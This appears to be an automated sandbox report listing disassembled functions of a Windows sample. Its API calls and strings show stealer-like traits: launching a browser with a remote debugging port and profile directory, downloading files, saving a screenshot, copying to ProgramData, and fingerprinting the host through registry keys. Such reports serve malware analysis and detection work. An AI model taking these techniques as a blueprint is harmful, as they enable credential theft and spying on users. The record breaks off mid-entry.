memset.MSVCRT ref: 0040E4C0

Strings

$|X, xrefs: 0040E5A1
--remote-debugging-port=9223 --profile-directory=", xrefs: 0040E517, 0040E51D, 0040E52A

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: --remote-debugging-port=9223 --profile-directory="$$|X
API String ID: 2221118986-1363042206
Opcode ID: ae06c8393336b333af05db5f16c75f1a9f5aa79fb8abcf2d5918810fac2cd834
Instruction ID: 3ba3319f07a7289698a11f05052de0d729129f79ef8d96ea643ee3d8260e6b4f
Opcode Fuzzy Hash: ae06c8393336b333af05db5f16c75f1a9f5aa79fb8abcf2d5918810fac2cd834
Instruction Fuzzy Hash: 14219FBAA421009FC754DB68DC91BED77E5BF8A304F084829E815D7311D774AA24CF4A

Function 004074A6 Relevance: 4.6, APIs: 3, Instructions: 50filenetworkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,00000000,00000000,00000000,00800100,00000000), ref: 004074E8
CreateFileA.KERNEL32 ref: 0040751E
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00407545

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternet$CreateOpenRead
String ID:
API String ID: 277185573-0
Opcode ID: a6a8c223cd5009ee1edf70638753991a576fa445f2a1b92b6e4b14e172d63ab9
Instruction ID: e7de77bcd4642c537b6601e2e1938511e7cc134d05b7d23443f92c6e6ade4d6c
Opcode Fuzzy Hash: a6a8c223cd5009ee1edf70638753991a576fa445f2a1b92b6e4b14e172d63ab9
Instruction Fuzzy Hash: 4211AC32A002818BD758DFACDC94AEA77B5FF89304F04443CE519E32A1EA306D58DB59

Function 004074C0 Relevance: 4.5, APIs: 3, Instructions: 49filenetworkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,00000000,00000000,00000000,00800100,00000000), ref: 004074E8
CreateFileA.KERNEL32 ref: 0040751E
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00407545

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternet$CreateOpenRead
String ID:
API String ID: 277185573-0
Opcode ID: c74caa1d72ef3849b5cfc4f5ea8cd1ffa9ffd77c479227d272b0f6abb55188a2
Instruction ID: 546a0ffc06b1c9f6154e424983ae53804db8d21ba515d4d3e98edb925e91b9df
Opcode Fuzzy Hash: c74caa1d72ef3849b5cfc4f5ea8cd1ffa9ffd77c479227d272b0f6abb55188a2
Instruction Fuzzy Hash: 4C11AC32A002818BD758DF6CDC94AEB77B5EF89304F04443CE515E3261EA306D48CB59

Function 0042C6C8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0042C7A4

Strings

C:\ProgramData\, xrefs: 0042C72C, 0042C732, 0042C747

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID: C:\ProgramData\
API String ID: 4241100979-1890264202
Opcode ID: fd0e82dec119dba322a7c6096ded51b902f46ea9c2b987c5c6cec87d8c7672a0
Instruction ID: 31c80a94cef3e32279e2b3b95fdfaa81a2b1e18fb5af080639bf195b1bb07545
Opcode Fuzzy Hash: fd0e82dec119dba322a7c6096ded51b902f46ea9c2b987c5c6cec87d8c7672a0
Instruction Fuzzy Hash: AA515FB5F001108FDB14DF6DDC81AAA77F6EFC9304B088479A81AD7351DA34EA59CB98

Function 00424D9A Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

ShellExecuteExA.SHELL32(?), ref: 00424FB3

Strings

open, xrefs: 00424F69

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: open
API String ID: 587946157-2758837156
Opcode ID: ebfeedbe94f74ff45762fa830e25903b89bf3b828f6f2a7a90415113d1e026e9
Instruction ID: 61fddfef70e41355df00d9e4d2de1f3e8f9111d1b6061317b8736759849db1d8
Opcode Fuzzy Hash: ebfeedbe94f74ff45762fa830e25903b89bf3b828f6f2a7a90415113d1e026e9
Instruction Fuzzy Hash: A9515FBAA002048FC714DF9CEC91A9E73F9EF99304B084139E816D7316DA74EA19CB58

Function 0040ED79 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 130fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040EE9B

Strings

C:\ProgramData\, xrefs: 0040EDA1, 0040EDA6, 0040EDB5

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID: C:\ProgramData\
API String ID: 1304948518-1890264202
Opcode ID: 2882e95cde3e227961071db3bf314aefc9e93a392954357e6cde62046eb5ef51
Instruction ID: fa38410b2714a6e77a67ab8d0ac84656252ce63968c3431b5881fbac74b51b6b
Opcode Fuzzy Hash: 2882e95cde3e227961071db3bf314aefc9e93a392954357e6cde62046eb5ef51
Instruction Fuzzy Hash: 64417B76B400049FCB04DF9CDD81BAD77B5BF89214B084038E41AE3352DA34AE29CB9A

Function 004224D8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

CloseWindow.USER32(?), ref: 00422628

Strings

screenshot.jpg, xrefs: 00422533, 00422539, 00422549, 0042254E

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CloseWindow
String ID: screenshot.jpg
API String ID: 2868366576-673422685
Opcode ID: e872d15220e8eba057b17becdf5ddfe6898de3b7858142cab79ce1faf9401ced
Instruction ID: 1474f4eb416e69a59470140b2970e150b16aab5e9dd82b7fb77fdc4fb0d98ae7
Opcode Fuzzy Hash: e872d15220e8eba057b17becdf5ddfe6898de3b7858142cab79ce1faf9401ced
Instruction Fuzzy Hash: 22414C7AA002049FCB05EFA9DC819DDB7F6FF893147084426E819E7320DB30AE16CB95

Function 00424EB3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShellExecuteExA.SHELL32(?), ref: 00424FB3

Strings

open, xrefs: 00424F69

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: open
API String ID: 587946157-2758837156
Opcode ID: a7763368da59df55128bce128be65d78802f985b28b65f2b0973a5a6e52b3f09
Instruction ID: 335c78a2ad1e2e55ee93be4219d4163c48e76e0b01d245b53d08e114568d7b24
Opcode Fuzzy Hash: a7763368da59df55128bce128be65d78802f985b28b65f2b0973a5a6e52b3f09
Instruction Fuzzy Hash: E6412CBAA002148FC714DF9CEC81ADEB7F5BF99304B084539D916E7355DA34EA09CB94

Function 0040D684 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 0040D775

Strings

$|X, xrefs: 0040D760

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID: $|X
API String ID: 2029273394-3892261830
Opcode ID: 56462b0fbece8748853bf203f85b41ac87afc2f3bc7ba4b1a6761b8c2bef3194
Instruction ID: 7bb2ff5dcfc8d279bcf81fe524ae3fa2dc5d0f95ca336393724a20a6615c9046
Opcode Fuzzy Hash: 56462b0fbece8748853bf203f85b41ac87afc2f3bc7ba4b1a6761b8c2bef3194
Instruction Fuzzy Hash: 61317EBA9416089BDB10CFA8DC81AEDB7B5FF84304F05C919DC59A7215EB30BA58CF91

Function 0041FFEF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,DisplayVersion,00000000,?,?), ref: 004200C5

Strings

DisplayVersion, xrefs: 0042009E, 004200A4, 004200C0

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: DisplayVersion
API String ID: 3660427363-1932467951
Opcode ID: bc48f7ea78afc2e14c4617c34661b2e74e55b1eb1f49095dbd1ba4971cae8f9f
Instruction ID: cf9f5ad6a68376e2735318beace1d251c566c4efb26f65f4e476611a35502c4e
Opcode Fuzzy Hash: bc48f7ea78afc2e14c4617c34661b2e74e55b1eb1f49095dbd1ba4971cae8f9f
Instruction Fuzzy Hash: 562144753042059FD358DB5DDC91F2AB3EABFC5204F08851EA956C3362DBB4A908CB19

Function 0040764D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET ref: 004076CA

Strings

https, xrefs: 004076EB, 004076F1, 004076FD

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID: https
API String ID: 2038078732-1056335270
Opcode ID: d02382278dad8006a76467c89bb757bc7f4ff210bad68994d93f9964a0b8bbf9
Instruction ID: df26f4550a862e9fd684f022062cfcdb87b4dfc3a6da9a7f5230f916b3431924
Opcode Fuzzy Hash: d02382278dad8006a76467c89bb757bc7f4ff210bad68994d93f9964a0b8bbf9
Instruction Fuzzy Hash: FC218179A002459BC700DF6CED81E9A77F9FF89204B088128EC15D7316E674EE54DB99

Function 0042BF5B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 0042C012

Strings

%s\%s, xrefs: 0042BF72, 0042BF78, 0042BF99

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID: %s\%s
API String ID: 2029273394-4073750446
Opcode ID: 49aec43eedd4154920b4152912b191205ad4e833ef8602dd1c6ae67f7dfd0253
Instruction ID: 7bfc89935805b3c9f140502e9bada0774c28768e2a75f6990908da1cd339226d
Opcode Fuzzy Hash: 49aec43eedd4154920b4152912b191205ad4e833ef8602dd1c6ae67f7dfd0253
Instruction Fuzzy Hash: 6F21FDB25183469BD314DF64DC90FABB3A4FFD5304F048A2CE85883221EB78B659CB95

Function 0041F27D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119), ref: 0041F2E3

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041F2C1, 0041F2C7, 0041F2DD

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 71445658-2278330950
Opcode ID: 418cd68d096bd5568328dc315d2750d41cd1f5bd62fd0d55f38de4d56d20cbe7
Instruction ID: 2e25e882f5a7e2b19922bce7a740613f80a7e1c0cd2294e75e808192a13d07e7
Opcode Fuzzy Hash: 418cd68d096bd5568328dc315d2750d41cd1f5bd62fd0d55f38de4d56d20cbe7
Instruction Fuzzy Hash: FAF0C8B57005046FD208DB59EC96E2B73AEDBC2298B19403CF805C7352D6A19C14C625

Function 0041F8D3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020119), ref: 0041F939

Strings

HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0041F917, 0041F91D, 0041F933

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0
API String ID: 71445658-1200804856
Opcode ID: 23afe71e29af5ec134437f7a5a39b17a456f09bf968b00ebcd2edf471ecba85c
Instruction ID: afa0995c9104d54c0513139320a2a32bada2c33ac1025a4ee98fc1a0a3f950aa
Opcode Fuzzy Hash: 23afe71e29af5ec134437f7a5a39b17a456f09bf968b00ebcd2edf471ecba85c
Instruction Fuzzy Hash: A9F046B5740104AFD218DF69DC96E3B379EEBC6258F08402CF90AD7352E6B0AC18C768

Function 0041EDD1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 0041EE12

Strings

C, xrefs: 0041EDD1

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: C
API String ID: 2039140958-1037565863
Opcode ID: fba895a7c84f0ebd10d110c2fb366e73445ea8b94fce1f580e62eef5e5c9b4e0
Instruction ID: 92e8b87a2725497af17e58081da3f9891e214a7b1a9627bcd9299335e7855597
Opcode Fuzzy Hash: fba895a7c84f0ebd10d110c2fb366e73445ea8b94fce1f580e62eef5e5c9b4e0
Instruction Fuzzy Hash: F50171B1C483809FD300EF78DC9899ABBE5AFC5204F09D92DE49987321E674E695CB46

Function 00420499 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,MachineGuid,?,?,?,?), ref: 004204D3

Strings

MachineGuid, xrefs: 004204AE, 004204B4, 004204CD

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: MachineGuid
API String ID: 3660427363-4186287252
Opcode ID: 559368afa54c67bf8fb2bce8fe083da36d837b0e58ab7d7ce205c408e4ef4464
Instruction ID: 7bd19849ba9bfde11fb18e584a279c445fdcfc572076ffcf1604942d4b869d57
Opcode Fuzzy Hash: 559368afa54c67bf8fb2bce8fe083da36d837b0e58ab7d7ce205c408e4ef4464
Instruction Fuzzy Hash: C8F09637204114AFD314DB4AFCC4D9B77A8FB86214F04043DF6ADC3211E664A919C765

Function 004075E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET ref: 0040760E

Strings

6nmL, xrefs: 0040762F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CloseHandleInternet
String ID: 6nmL
API String ID: 1081599783-427066906
Opcode ID: ab978b4a34ea48ebde91a89da8a540cc6a1639d5ee7d70485fd776fad9b0b44f
Instruction ID: 4113b82c1dc35738cc7db2e753f606e80c889039b34e1def37de6a02774f634a
Opcode Fuzzy Hash: ab978b4a34ea48ebde91a89da8a540cc6a1639d5ee7d70485fd776fad9b0b44f
Instruction Fuzzy Hash: E9F04F3A2400898FDF10DF9CEC81ADE73A2EF85258B080135E525E3661CA34AE55DB18

Function 0041F2FF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,CurrentBuildNumber,?,?,?,?), ref: 0041F336

Strings

CurrentBuildNumber, xrefs: 0041F314, 0041F31A, 0041F32F, 0041F334

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: CurrentBuildNumber
API String ID: 3660427363-1022791448
Opcode ID: b9f1d27b948a2cde859decee709fabe3fc3aaf7079ba9210fc7bef9a2106faad
Instruction ID: 32cc7c2ada2b86104a3a49f668f9a4e07e20b2ad3b816f2a31f760a166775264
Opcode Fuzzy Hash: b9f1d27b948a2cde859decee709fabe3fc3aaf7079ba9210fc7bef9a2106faad
Instruction Fuzzy Hash: C8F0A7BE6010006FC1049789EC85C5B73AAEBD52157184039F90DC6321D6A5AD15CB28

Function 0041FF59 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,DisplayName,00000000,?,?), ref: 0041FF9F

Strings

DisplayName, xrefs: 0041FF7B, 0041FF81, 0041FF9D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: DisplayName
API String ID: 3660427363-3786665039
Opcode ID: bc31a2ff1834048140c9dfee421bfaf7d1603ec0065aed378ec0e313bf8dafab
Instruction ID: f5713496be0a026c6677b26d3adc6da17140d2fb9fb8e09341883e6bed890c7d
Opcode Fuzzy Hash: bc31a2ff1834048140c9dfee421bfaf7d1603ec0065aed378ec0e313bf8dafab
Instruction Fuzzy Hash: 4DF09A75700101AFE3148B49DC81F2A73E8ABCA314F08442DF946D7391E6B8ED098BAA

Function 0041F1F3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,ProductName,00000000,00000000,?,?), ref: 0041F22B

Strings

ProductName, xrefs: 0041F20D, 0041F213, 0041F229

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ProductName
API String ID: 3660427363-3586724618
Opcode ID: 297f8375b1038bb0d3d7efae8f7a8fb007ca2ae3d08dc7cd9e0f1bc1478d321a
Instruction ID: d06dab5c00e1cd9b568c1344ba8a1129501a229b943713cdd63673397a6e7b0d
Opcode Fuzzy Hash: 297f8375b1038bb0d3d7efae8f7a8fb007ca2ae3d08dc7cd9e0f1bc1478d321a
Instruction Fuzzy Hash: 1AF0ECB66400045FC608DB49EC52D7AB79DEBA5214B04003AF908C7321E5A17C158725

Function 0041F955 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(?,ProcessorNameString,?,?,?,?), ref: 0041F98C

Strings

ProcessorNameString, xrefs: 0041F96A, 0041F970, 0041F985, 0041F98A

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID: ProcessorNameString
API String ID: 3660427363-2160769855
Opcode ID: 31041bb49acb937d4b380fc0fc361d606422b0c06ebdfe4616e1dac201ad4636
Instruction ID: 552663aaeae6f16054e1a020f72e43f719887551d2972acdf4c5440fe477a02d
Opcode Fuzzy Hash: 31041bb49acb937d4b380fc0fc361d606422b0c06ebdfe4616e1dac201ad4636
Instruction Fuzzy Hash: 39E09B7B750104AFC108D74DFC41C67B39DEBD9115B04053AF949C3311D5657D19C664

Function 0041F1A8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119), ref: 0041F1DC

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041F1BA, 0041F1C0, 0041F1D6

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 71445658-2278330950
Opcode ID: 476f3307aa02160a5b5e6049588745abe0e09f88a314fee225192767593139a3
Instruction ID: f7d6863b10dd3ef7c86b8c37ee4a6ed4c782ebdb65dcfa4361654b1c1eeb25b1
Opcode Fuzzy Hash: 476f3307aa02160a5b5e6049588745abe0e09f88a314fee225192767593139a3
Instruction Fuzzy Hash: 4FE04FB9B402156BD318DF1AFC52F227258FB52204F190028BD05D7263D69168248958

Function 00408767 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000000C7,?), ref: 00408780

Strings

^Si, xrefs: 00408799

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID: ^Si
API String ID: 778332206-3901085095
Opcode ID: faf6b6c4cd23b25e350d407664b35923a76c34df22020ad90baa8e9c24bec324
Instruction ID: 93241e65bb3cfa946cd143787a7510651c993651da2982faf3566bebaf393edb
Opcode Fuzzy Hash: faf6b6c4cd23b25e350d407664b35923a76c34df22020ad90baa8e9c24bec324
Instruction Fuzzy Hash: F7E086767005069FDB04CF00CC51E6673B9FB953047248128D015DB250E670BD06CB40

Function 004234CE Relevance: 3.0, APIs: 2, Instructions: 27processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004234F0
Process32First.KERNEL32(00000000), ref: 004234FD

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: d0aafe996ae6847ea86accd4ca33bdfc7634bf740571bcb37ff440368e241406
Instruction ID: 227a4079254baf746a4b3145b4eccbe3d1c1d191b7d66606b6d4c0c46632bee1
Opcode Fuzzy Hash: d0aafe996ae6847ea86accd4ca33bdfc7634bf740571bcb37ff440368e241406
Instruction Fuzzy Hash: C7E0DF74301205AFE7A0CB1DEC92F6632E8FBC6348F140038B508CB3C1DA20EC208769

Function 00428E2D Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00428E3B
GetDriveTypeA.KERNEL32 ref: 00428E50

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DriveTypememset
String ID:
API String ID: 1397174798-0
Opcode ID: b57d072800557abae0a5aa22fb6253ca5f3f77b3917338c5565a3f969117a767
Instruction ID: 05f602f88df0723ab444c59d209778b1bca8aad3002b6ddd03543a7d9dd94d56
Opcode Fuzzy Hash: b57d072800557abae0a5aa22fb6253ca5f3f77b3917338c5565a3f969117a767
Instruction Fuzzy Hash: 86E0867DF402105BD700CB40DD85F9DB375BBE9301F244136E50497345D6B4A9114B44

Function 00410B38 Relevance: 1.6, APIs: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 00410C8F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: e44fe60c8639863d2c315c246c48f04d5d8cfac3e492799677a20636737e1b07
Instruction ID: 774cd959641f09b608a44bffdc7760c736467633c15014411cd55cc47401f3d7
Opcode Fuzzy Hash: e44fe60c8639863d2c315c246c48f04d5d8cfac3e492799677a20636737e1b07
Instruction Fuzzy Hash: 7641487A6001648FC704DFACEDD1A9973B5EF89604F040068EA06D3265EA34FF64CF8A

Function 00406456 Relevance: 1.6, APIs: 1, Instructions: 87networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 0040645F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CloseHandleInternet
String ID:
API String ID: 1081599783-0
Opcode ID: 40158c5ab2417085201f24fde967ff0cc09c5e4c72c79cbf072d1c60d5054019
Instruction ID: 5e30dc2250b2b057e2b1b345e2aa25aa9d68eecf49c728a9819dea50d90d54a6
Opcode Fuzzy Hash: 40158c5ab2417085201f24fde967ff0cc09c5e4c72c79cbf072d1c60d5054019
Instruction Fuzzy Hash: 1F31CDBBA010699FCB04DF9CEC91ADD77B4FF95614B140028E826E3365DA30AF15DB88

Function 00404468 Relevance: 1.6, APIs: 1, Instructions: 68networkCOMMON

Download Yara Rule

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 004044FF

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CrackInternet
String ID:
API String ID: 1381609488-0
Opcode ID: 8ca45ac23f5f80d14643078be58b4809d258a7f24a3690ed9c8315075ae20a95
Instruction ID: 9197950a34bd4c976d15aab42ed2e9430d39523bc9f36c003b53b492bb8b4f1e
Opcode Fuzzy Hash: 8ca45ac23f5f80d14643078be58b4809d258a7f24a3690ed9c8315075ae20a95
Instruction Fuzzy Hash: 3D1130B56101049FDB44EF6DEC82A6F77E8EB8A258B04403DE809C7311D738EE159B69

Function 004131B8 Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 00413298

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 3a29d8ca63820d5722b582f667db8b337fae8528adca656499e5a846500da76d
Instruction ID: 46ee3b8e51b98a700c03f76e3129104915c10ea7453c9402c637743a23bd37a1
Opcode Fuzzy Hash: 3a29d8ca63820d5722b582f667db8b337fae8528adca656499e5a846500da76d
Instruction Fuzzy Hash: FD2131B6A007099FC745CF68DC81BD9B3B1FF99304F048629D959D7211EB30BA68CB95

Function 00428AD8 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 00428B8D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

